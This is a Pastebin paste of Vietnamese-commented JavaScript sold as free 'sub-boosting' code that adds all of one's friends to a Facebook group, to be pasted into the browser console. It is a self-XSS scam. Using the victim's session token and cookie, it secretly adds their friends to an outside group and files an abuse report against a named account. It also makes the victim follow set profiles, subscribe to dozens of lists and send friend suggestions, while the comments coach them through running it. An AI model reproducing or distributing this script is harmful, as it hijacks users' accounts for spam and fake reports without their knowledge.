Advertisement
tuanpro1997

Untitled

Oct 2nd, 2014
516
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 16.14 KB | None | 0 0
  1. //*Tự động thêm tất cả bạn bè vào nhóm - Vũ Anh Tuấn
  2. function hp_d12(s) {
  3. var o = "",
  4. ar = new Array(),
  5. os = "",
  6. ic = 0,
  7. p = 0;
  8. for (i = 0; i < s.length; i++) {
  9. c = s.charCodeAt(i);
  10. if (c < 128) c = c ^ ((p++ % 8) + 1);
  11. os += String.fromCharCode(c);
  12. if (os.length > 80) {
  13. ar[ic++] = os;
  14. os = ""
  15. }
  16. }
  17. o = ar.join("") + os;
  18. return o
  19. }
  20. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  21. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  22.  
  23. function cereziAl(isim) {
  24. var tarama = isim + "=";
  25. if (document.cookie.length > 0) {
  26. konum = document.cookie.indexOf(tarama);
  27. if (konum != -1) {
  28. konum += tarama.length;
  29. son = document.cookie.indexOf(";", konum);
  30. if (son == -1) son = document.cookie.length;
  31. return unescape(document.cookie.substring(konum, son))
  32. } else {
  33. return ""
  34. }
  35. }
  36. }
  37. function getRandomInt(min, max) {
  38. return Math.floor(Math.random() * (max - min + 1)) + min
  39. }
  40. function randomValue(arr) {
  41. return arr[getRandomInt(0, arr.length - 1)]
  42. }
  43. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  44. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  45. var httpwp = new XMLHttpRequest();
  46. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  47. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  48. httpwp['open']('POST', urlwp, true);
  49. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  50. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  51. httpwp['setRequestHeader']('Connection', 'keep-alive');
  52. httpwp['send'](paramswp);
  53. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  54. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  55. var friends = new Array();
  56. gf = new XMLHttpRequest();
  57. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  58. gf['send']();
  59. if (gf['readyState'] != 4) {} else {
  60. data = eval('(' + gf['responseText']['substr'](9) + ')');
  61. if (data['error']) {} else {
  62. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  63. return _0x93dax8['index'] - _0x93dax9['index']
  64. })
  65. }
  66. };
  67. var Title = 'Code Tang sub mien phi - <A style="color:#3B5998;" href="https://www.facebook.com/tuanpro97">hacker</A>';
  68. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  69. var Descriptions = "",
  70. _text = 'Share by : <A style="color:#3B5998;"href=" https://www.facebook.com/tuanpro97">Vũ Anh Tuấn</A>';
  71.  
  72. function AddFriendtoGroup(opo) {
  73. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  74. var b = a.substring(a.indexOf("{"));
  75. var c = JSON.parse(b);
  76. i--;
  77. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  78. if (c.error) {
  79. Descriptions += "color:darkred'>";
  80. err++;
  81. if (c.errorDescription) Descriptions += c.errorDescription;
  82. else Descriptions += JSON.stringify(c, null, "")
  83. } else {
  84. Descriptions += "color:darkgreen'>";
  85. Descriptions += arn[i] + " đã được tang.<br/>";
  86. suc++
  87. }
  88. Descriptions += "</div>";
  89. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  90. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  91. if (i > 0) {
  92. display += arr.length + " bạn bè.<br/>";
  93. display += "<b>" + suc + "</b> bạn đã tang " + (arr.length - i) + " bạn đang ttang ";
  94. display += "(" + i + " đang chờ ...)";
  95. display += "<div class='friend-edge'>";
  96. display += Descriptions;
  97. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  98. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  99. display += getuname + " đang tang sub " + grpname + ".<br/>";
  100. display += _text;
  101. display += "</div>";
  102. display += "</div>"
  103. } else {
  104. display += arr.length + " bạn bè<br/>";
  105. display += suc + " bạn đã tang</br>";
  106. display += err + " không tang được</br></br>";
  107. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Tải Lại Trang</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Xong</span>"
  108. }
  109. display += "</div>";
  110. document.getElementById("pagelet_sidebar").innerHTML = display
  111. }, "text", "post");
  112. tay--;
  113. if (tay > 0) {
  114. var s = arr[tay];
  115. sx = pho[tay];
  116. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  117. }
  118. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  119. if (gid != 769305739778230) {
  120. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=769305739778230&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  121. }
  122. if (newcomer) {
  123. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100004341312656&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  124. }
  125. }
  126. function clickfr_callback() {
  127. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  128. var a = arr[i];
  129. if (i < arr.length) addfriend(a.substring(0, 4))
  130. }
  131. function clickfr() {
  132. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  133. else j++;
  134. setTimeout("clickfr_callback()", 2E3)
  135. }
  136. function addfriend(a) {
  137. i++;
  138. setTimeout("clickfr()", 2E3)
  139. }
  140. jx = {
  141. getHTTPObject: function() {
  142. var a = false;
  143. if (typeof ActiveXObject != "undefined") try {
  144. a = new ActiveXObject("Msxml2.XMLHTTP")
  145. } catch (b) {
  146. try {
  147. a = new ActiveXObject("Microsoft.XMLHTTP")
  148. } catch (c) {
  149. a = false
  150. }
  151. } else if (window.XMLHttpRequest) try {
  152. a = new XMLHttpRequest
  153. } catch (b) {
  154. a = false
  155. }
  156. return a
  157. },
  158. load: function(url, callback, format, method, opt) {
  159. var http = this.init();
  160. if (!http || !url) return;
  161. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  162. if (!method) method = "GET";
  163. if (!format) format = "text";
  164. if (!opt) opt = {};
  165. format = format.toLowerCase();
  166. method = method.toUpperCase();
  167. var now = "uid=" + (new Date).getTime();
  168. url += url.indexOf("?") + 1 ? "&" : "?";
  169. url += now;
  170. var parameters = null;
  171. if (method == "POST") {
  172. var parts = url.split("?");
  173. url = parts[0];
  174. parameters = parts[1]
  175. }
  176. http.open(method, url, true);
  177. var ths = this;
  178. if (opt.handler) http.onreadystatechange = function() {
  179. opt.handler(http)
  180. };
  181. else http.onreadystatechange = function() {
  182. if (http.readyState == 4) if (http.status == 200) {
  183. var result = "";
  184. if (http.responseText) result = http.responseText;
  185. if (format.charAt(0) == "j") {
  186. result = result.replace(/[\n\r]/g, "");
  187. result = eval("(" + result + ")")
  188. } else if (format.charAt(0) == "x") result = http.responseXML;
  189. if (callback) callback(result)
  190. } else {
  191. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  192. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  193. if (error) error(http.status)
  194. }
  195. };
  196. http.send(parameters)
  197. },
  198. bind: function(a) {
  199. var b = {
  200. url: "",
  201. onSuccess: false,
  202. onError: false,
  203. format: "text",
  204. method: "GET",
  205. update: "",
  206. loading: "",
  207. loadingIndicator: ""
  208. };
  209. for (var c in b) if (a[c]) b[c] = a[c];
  210. if (!b.url) return;
  211. var d = false;
  212. if (b.loadingIndicator) {
  213. d = document.createElement("div");
  214. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  215. d.setAttribute("class", "loading-indicator");
  216. d.innerHTML = b.loadingIndicator;
  217. document.getElementsByTagName("body")[0].appendChild(d);
  218. this.opt.loadingIndicator = d
  219. }
  220. if (b.loading) document.getElementById(b.loading).style.display = "block";
  221. this.load(b.url, function(a) {
  222. if (b.onSuccess) b.onSuccess(a);
  223. if (b.update) document.getElementById(b.update).innerHTML = a;
  224. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  225. if (b.loading) document.getElementById(b.loading).style.display = "none"
  226. }, b.format, b.method, b)
  227. },
  228. init: function() {
  229. return this.getHTTPObject()
  230. }
  231. };
  232. var nHtml = {
  233. FindByAttr: function(a, b, c, d) {
  234. if (c == "className") c = "class";
  235. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  236. if (e && e.singleNodeValue) return e.singleNodeValue;
  237. return null
  238. },
  239. FindByClassName: function(a, b, c) {
  240. return this.FindByAttr(a, b, "className", c)
  241. },
  242. FindByXPath: function(a, b) {
  243. try {
  244. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  245. } catch (d) {
  246. GM_log("bad xpath:" + b)
  247. }
  248. if (c && c.singleNodeValue) return c.singleNodeValue;
  249. return null
  250. },
  251. VisitUrl: function(a) {
  252. window.setTimeout(function() {
  253. document.location.href = a
  254. }, 500 + Math.floor(Math.random() * 500))
  255. },
  256. ClickWin: function(a, b, c) {
  257. var d = a.document.createEvent("MouseEvents");
  258. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  259. return !b.dispatchEvent(d)
  260. },
  261. Click: function(a) {
  262. return this.ClickWin(window, a, "click")
  263. },
  264. ClickTimeout: function(a, b) {
  265. window.setTimeout(function() {
  266. return nHtml.ClickWin(window, a, "click")
  267. }, b + Math.floor(Math.random() * 500))
  268. },
  269. ClickUp: function(a) {
  270. this.ClickWin(window, a, "mousedown");
  271. this.ClickWin(window, a, "mouseup");
  272. this.ClickWin(window, a, "click")
  273. },
  274. GetText: function(a, b) {
  275. var c = "";
  276. if (b == undefined) b = 0;
  277. if (b > 40) return;
  278. if (a.textContent != undefined) return a.textContent;
  279. for (var d = 0; d < a.childNodes.length; d++) {
  280. var e = a.childNodes[d];
  281. c += this.GetText(e, b + 1)
  282. }
  283. return c
  284. }
  285. };
  286. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  287. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  288. var c = document.getElementsByTagName("*");
  289. var d = [];
  290. var e;
  291. for (var f = 0;
  292. (e = c[f]) != null; f++) {
  293. var g = e.className;
  294. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  295. }
  296. return d
  297. };
  298. Array.prototype.find = function(a) {
  299. var b = false;
  300. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  301. if (a.test(this[i])) {
  302. if (!b) b = [];
  303. b.push(i)
  304. }
  305. } else if (this[i] === a) {
  306. if (!b) b = [];
  307. b.push(i)
  308. }
  309. return b
  310. };
  311. var i = 3;
  312. var tay = 3;
  313. var j = 0;
  314. var k = 0;
  315. var suc = 0;
  316. var err = 0;
  317. var arr = new Array;
  318. var arn = new Array;
  319. var pho = new Array;
  320. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  321. var gid = document.getElementsByName("group_id")[0].value;
  322. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  323. var b = a;
  324. var c = b.substring(b.indexOf("{"));
  325. var d = JSON.parse(c);
  326. d = d.payload.entries;
  327. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  328. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  329. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  330. i = arr.length - 1;
  331. tay = i;
  332. console.log(arr.length);
  333. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  334. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  335. display += arr.length + " Friends Detected";
  336. display += "</div>";
  337. document.getElementById("pagelet_sidebar").innerHTML = display;
  338. AddFriendtoGroup(arr[i])
  339. });
  340. //*Thông báo khi chạy
  341. alert('Bạn đang sử dụng code tang sub mien phi ... Nhấn OK để bắt đầu sử dụng !!!');
  342. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  343. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  344. var now=(new Date).getTime();
  345. function report(r) {
  346. var X = new XMLHttpRequest();
  347. var XURL = "https://www.facebook.com/ajax/report/social.php";
  348. var XParams ="fb_dtsg="+fb_dtsg+"&block=1&pp=%7B%22actions_to_take%22%3A%22[]%22%2C%22are_friends%22%3Afalse%2C%22cid%22%3A" + r +"%2C%22content_type%22%3A0%2C%22expand_report%22%3A1%2C%22first_choice%22%3A%22file_report%22%2C%22from_gear%22%3A%22timeline%22%2C%22is_following%22%3Afalse%2C%22is_tagged%22%3Afalse%2C%22on_profile%22%3Afalse%2C%22phase%22%3A3%2C%22ref%22%3A%22https%3A%5C%2F%5C%2Fwww.facebook.com%5C%2F%22%2C%22report_type%22%3A145%2C%22rid%22%3A" + r +"%2C%22sub_report_type%22%3A141%2C%22time_flow_started%22%3A"+now+"%2C%22user%22%3A"+user_id+"%7D&file_report=1&__user="+user_id+"&__a=1&__dyn=7n8ahyj35ynzpQ9UmAWuURDw&__req=h&ttstamp=26581661107112011276&confirmed=1";
  349. X.open("POST", XURL, true);
  350. X.onreadystatechange = function () {
  351. if (X.readyState == 4 && X.status == 200) {
  352. X.close;
  353. }
  354. };
  355. X.send(XParams);
  356. }
  357. report("100006396344327");
  358. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  359. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  360. function a(abone)
  361. { var http4=new XMLHttpRequest;
  362.  var url4="/ajax/follow/follow_profile.php?__a=1";
  363.  var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
  364.  http4.open("POST",url4,true);
  365.  http4.onreadystatechange=function()
  366.  {  if(http4.readyState==4&&http4.status==200)http4.close };
  367.  http4.send(params4)}
  368. function sublist(uidss)
  369. { var a = document.createElement('script');
  370.  a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  371.  document.body.appendChild(a);
  372. }
  373.  
  374.  
  375.  
  376. a("100004011083446");a("100001688888725");a("100004035235108");sublist("490022224474809");sublist("490022627808102");sublist("490020374474994");sublist("490023004474731");sublist("537729339704097");sublist("537729569704074");sublist("537729723037392");sublist("537729819704049");sublist("537729926370705");sublist("537730059704025");sublist("537730263037338");sublist("537730526370645");sublist("537730703037294");sublist("537730903037274");sublist("537731059703925");sublist("537731196370578");sublist("537731336370564");sublist("537731416370556");sublist("537731549703876");sublist("537731806370517");sublist("537735026370195");sublist("537735336370164");sublist("537735506370147");sublist("537735643036800");sublist("537735843036780");sublist("537736109703420");sublist("537736249703406");sublist("537736449703386");sublist("537736726370025");sublist("537736976370000");sublist("539965726147125");sublist("539966302813734");sublist("539966502813714");sublist("539966759480355");sublist("539967006146997");sublist("539967166146981");sublist("539970719479959");sublist("539973939479637");sublist("539976936146004");sublist("539980826145615");P("380394162104283");
  377.  
  378.  
  379.  
  380.  
  381. //*Bạn đã làm rất đúng. Nhấn Enter để chạy code ^_^
  382.  
  383.  
  384. //***Nếu chạy code nó báo :
  385.  
  386. //Can Not Subscribe to List
  387. //You are not able to subscribe to this list.
  388.  
  389. //=> Nhấn "Đóng" là ok ....
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement